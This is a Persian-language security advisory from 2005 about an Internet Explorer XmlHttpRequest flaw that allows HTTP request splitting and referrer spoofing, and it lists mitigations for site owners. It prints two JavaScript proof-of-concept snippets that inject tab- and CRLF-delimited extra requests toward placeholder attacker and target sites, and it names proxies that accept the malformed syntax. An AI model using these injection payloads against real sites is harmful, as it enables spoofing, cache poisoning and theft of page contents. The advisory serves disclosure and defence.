صفحه اول > راهنماييها

 

شكاف امنيتي ناشي از اعتبار سنجي نامناسب پارامترهاي ارسالي به

 XmlHttpRequest در Internet Explorer

 

تاريخ انتشار:                 24 سپتامبر 2005        12:00AM

تاريخ به روزرساني:       28 سپتامبر 2005        11:10PM

CVE:                             CVE-MAP-NOMATCH

كاشف:                         Amit Klein

ميزان خطر:                  ---

 

سيستمهاي تحت تاثير:

Microsoft Internet Explorer 6.0 SP2
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Server
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Terminal Services
Microsoft Windows 2000 Terminal Services SP1
Microsoft Windows 2000 Terminal Services SP2
Microsoft Windows 98
Microsoft Windows 98SE
Microsoft Windows ME
Microsoft Windows NT Enterprise Server 4.0 SP6a
Microsoft Windows NT Server 4.0 SP6a
Microsoft Windows NT Workstation 4.0 SP6a
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows Server 2003 Datacenter Edition 64-bit
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Enterprise Edition 64-bit
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Web Edition
Microsoft Windows XP Home
Microsoft Windows XP Professional

چكيده:

به علت وجود نقطه ضعفي در برنامه Internet Explorer كه ناشي از بررسي نامناسب پارامترهاي ارسالي به XmlHttpRequest است، اجازه تزريق كردن تقاضاهاي HTTP دلخواه را به Internet Explorer ممكن مي سازد.

XmlHttpRequest يك شي Javascript است (يكي از اجزاي هسته AJAX). اين شي به كد Javascript سمت Client اجازه فرستادن تقاضاهاي Raw HTTP به ميزبان اصلي و همچنين دستيابي به بدنه پاسخ هاي برگشتي (Responses) به صورت Raw Form را فراهم مي كند.

يك نفوذگر با سوء استفاده از اين نقطه ضعف مي تواند علاوه بر فريب دادن يك وب سايت، يك مرورگر را مجبور به تقاضا كردن يك سايت روي ماشين محلي يا  روي ميزبان ديگري غير از ماشين محلي نمايد، البته به شرطي كه از يك forwarding proxy server استفاده شده باشد. سپس نفوذگر با جلوگيري كردن از دريافت پاسخ توسط مرورگر مي تواند اطلاعات حساس را سرقت كند و از اين اطلاعات در حملات بعدي استفاده نمايد. يك حمله موفق مي تواند پيامدهاي گوناگوني داشته باشد مانند حملات HTTP Request Smuggling يا حمله Man in the Middle (كه طي آن هكر به ترافيك بين كاربر و يك سايت ديگر نفوذ مي كند)و يا فاش سازي اطلاعات.

 

توضيح:

بطور كلي يك نفوذگر مي تواند با سوء استفاده از اين نقطه ضعف از تكنيكهاي زير استفاده نمايد:

·                       Referrer spoofing

·                       HTTP Request Smuggling , HTTP Response Splitting and Web cache poisoning

·                       Accessing content / web-scanning

 

در اينجا فقط تكنيك اصلي يعني Referrer Spoofing بررسي مي شود.

 

بازيابي يك صفحه با استفاده از يك Referrer Spoofing:

مفروضات زير را در نظر بگيريد: وب سايت نفوذگر www.attacker.site و وب سايت مقصد  www.target.site است. از Forwarding Proxy Server استفاده مي شود و يا اينكه سايت نفوذگر و مقصد بطور مجازي روي آدرس IP يكساني ميزباني مي شوند.

Client يك صفحه كه حاوي كد Javascript  است را از سايت www.attacker.site  دريافت مي كند. اين كد براي پياده سازي حمله نوشته و طراحي شده است. كد Javascript مذكور با exploit كردن شي XmlHttpRequest (كه از طريق ارسال پارامترهاي خاصي به آن مي باشد) موجب شروع حمله با توجه به تكنيك بكار رفته در كد Javascript مي شود.

كد Javascript در زير (به عنوان بخشي از صفحه دريافت شده از سايت www.attacker.site) مي تواند توسط Internet Explorer براي فرستادن يك Referrer معتبر و خواندن محتويات صفحات وب استفاده شود (اين مثال روي Internet Explorer 6.0 SP2 تست و اجرا شده است و فرض بر اين است كه از forwarding proxy server استفاده مي شود).

 

 

var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
/1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target
.site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP
/1.0\r\nFoobar:","http://www.attacker.site/",false);

x.send();

alert(x.responseText);

 

توجه كنيد كه در خطوط تقاضاي HTTP از Horizontal Tab (ASCII 0x09) به جاي  Space (ASCII 0x20) استفاده شده است كه در HTTP/1.1 RFC (RFC 2616) به طور صريح غير مجاز شناخته شده است، ولي هنوز خيلي از سرورها علاوه بر مجاز شمردن چنين نحوي >(Syntax) در تقاضاهاي فرستاده شده Horizontal Tab را به Space تبديل مي كنند.

در زير اسامي تعدادي پروكسي سرور كه اجازه استفاده از Horizontal Tab را به عنوان يك جداساز در خط مربوط به تقاضاي HTTP مي دهند، ليست شده است:

- Apache 2.0.54 (mod_proxy)
- Squid 2.5.STABLE10-NT
- Sun Java System Web Proxy Server 4.0
 

توجه داشته باشيد كه تكنيك حمله HTTP Request Splitting در اين وضعيت اتفاق خواهد افتاد يعني كد Javascript بالا را مي توان براي پياده سازي حمله HTTP Request Splitting بكار برد. در اين حالت نفوذگر مرورگر را مجبور به ارسال دو تقاضاي HTTP به جاي يك تقاضا مي كند. در واقع در اين تكنيك با هدرهاي HTTP سروكار داريم.

 

فرض بعدي اين بود كه سايتهاي www.attacker.site و www.target.site به طور مجازي روي آدرس IP يكساني ميزباني مي شوند. در اين حالت كد زير مي تواند مورد استفاده قرار گيرد:

 

 

 

var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("GET\t
/page.cgi?parameters\tHTTP/1.0\r\nHost:\twww.target.site\r\nR
eferer:\thttp://www.target.site/somepath?somequery\r\n\r\nGET
\t/\tHTTP/1.0\r\nFoobar:","http://www.attacker.site/",false);

x.send();

alert(x.responseText);

 

نتيجه اين كد ارسال دو تقاضا به سرور است كه پاسخ تقاضاي اول توسط مرورگر به XmlHttpRequest برگشت داده مي شود .سپس كد مذكور مي تواند صفحه برگشت داده شده را در پنجره html (مثلا document.body.innerHTML=...) جاسازي نمايد. نكته اينكه كد Javascript مخرب مي تواند ابتدا صفحه برگشت داده شده را بررسي و دستكاري نمايد. به عنوان مثال ميتواند موارد امنيتي ازقبيل “if((top.location!='http://www.target.site/...')"  را حذف كند.

 

كد Exploit:

در بخش توضيح كدهاي نمونه آورده شده است.

 

راه حل:

تا كنون هيچ اصلاحيه اي در رابطه با اين شكاف امنيتي گزارش نشده است. به عنوان پيشنهاد از صاحبان سايتها تقاضا ميشود به موارد زير توجه كامل داشته باشند:

-          استفاده از SSL

-          استفاده نكردن از virtual hosting با حوزه هاي غيرقابل اعتماد

-          اعتماد نكردن به كد سمت client براي جلوگيري كردن از cloning/MITM

-          اعتماد نكردن به Referrer

-          تنظيم كردن صريح host/domain در cookie

 

منابع:

Technet Security (Microsoft)

http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

http://www.watchfire.com/resources/HTTP-Request-Smuggling.pdf

 

نويسنده:

محسن شريفي